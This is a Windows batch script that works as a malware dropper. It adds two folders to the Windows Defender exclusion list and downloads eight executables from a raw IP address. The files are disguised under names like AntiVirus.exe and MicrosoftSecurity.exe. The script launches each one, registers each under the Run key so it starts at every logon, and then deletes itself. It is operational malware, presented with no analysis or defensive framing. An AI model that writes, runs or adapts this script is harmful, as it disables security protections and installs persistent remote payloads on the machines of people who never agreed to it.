@echo off
REM Create a directory in C:\RM
powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\RM'"
powershell -Command "New-Item -ItemType Directory -Force -Path 'C:\ProgramLogs'"
REM Exclude the C:\RM directory from Windows Defender scans
powershell -Command "Add-MpPreference -ExclusionPath 'C:\RM'"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramLogs'"
REM Download the main.exe file to the C:\RM directory
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/AntiVirus.exe' -OutFile 'C:\RM\AntiVirus.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/AntiVirus2.exe' -OutFile 'C:\RM\AntiVirus2.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/AntiVirus3.exe' -OutFile 'C:\RM\AntiVirus3.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/AntiVirus4.exe' -OutFile 'C:\RM\AntiVirus4.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/MicrosoftNetwork.exe' -OutFile 'C:\ProgramLogs\MicrosoftNetwork.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/MicrosoftRegistry.exe' -OutFile 'C:\ProgramLogs\MicrosoftRegistry.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/MicrosoftSecurity.exe' -OutFile 'C:\ProgramLogs\MicrosoftSecurity.exe'"
powershell -Command "Invoke-WebRequest 'http://80.76.49.148/LgGFdDAm2/MicrosoftValidator.exe' -OutFile 'C:\ProgramLogs\MicrosoftValidator.exe'"
REM Run the downloaded main.exe file
start "" "C:\RM\AntiVirus.exe"
start "" "C:\RM\AntiVirus2.exe"
start "" "C:\RM\AntiVirus3.exe"
start "" "C:\RM\AntiVirus4.exe"
start "" "C:\ProgramLogs\MicrosoftNetwork.exe"
start "" "C:\ProgramLogs\MicrosoftRegistry.exe"
start "" "C:\ProgramLogs\MicrosoftSecurity.exe"
start "" "C:\ProgramLogs\MicrosoftValidator.exe"
REM Add entry to the Windows Registry to run main.exe at startup
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram1" /t REG_SZ /d "C:\RM\AntiVirus.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram2" /t REG_SZ /d "C:\RM\AntiVirus2.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram3" /t REG_SZ /d "C:\RM\AntiVirus3.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram4" /t REG_SZ /d "C:\RM\AntiVirus4.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram5" /t REG_SZ /d "C:\ProgramLogs\MicrosoftNetwork.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram6" /t REG_SZ /d "C:\ProgramLogs\MicrosoftRegistry.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram7" /t REG_SZ /d "C:\ProgramLogs\MicrosoftSecurity.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MainProgram8" /t REG_SZ /d "C:\ProgramLogs\MicrosoftValidator.exe" /f
REM Clean up temporary files (optional)
REM del %TEMP%\lander2.vbs
REM Exit the script
(goto) 2>nul & del "%~f0"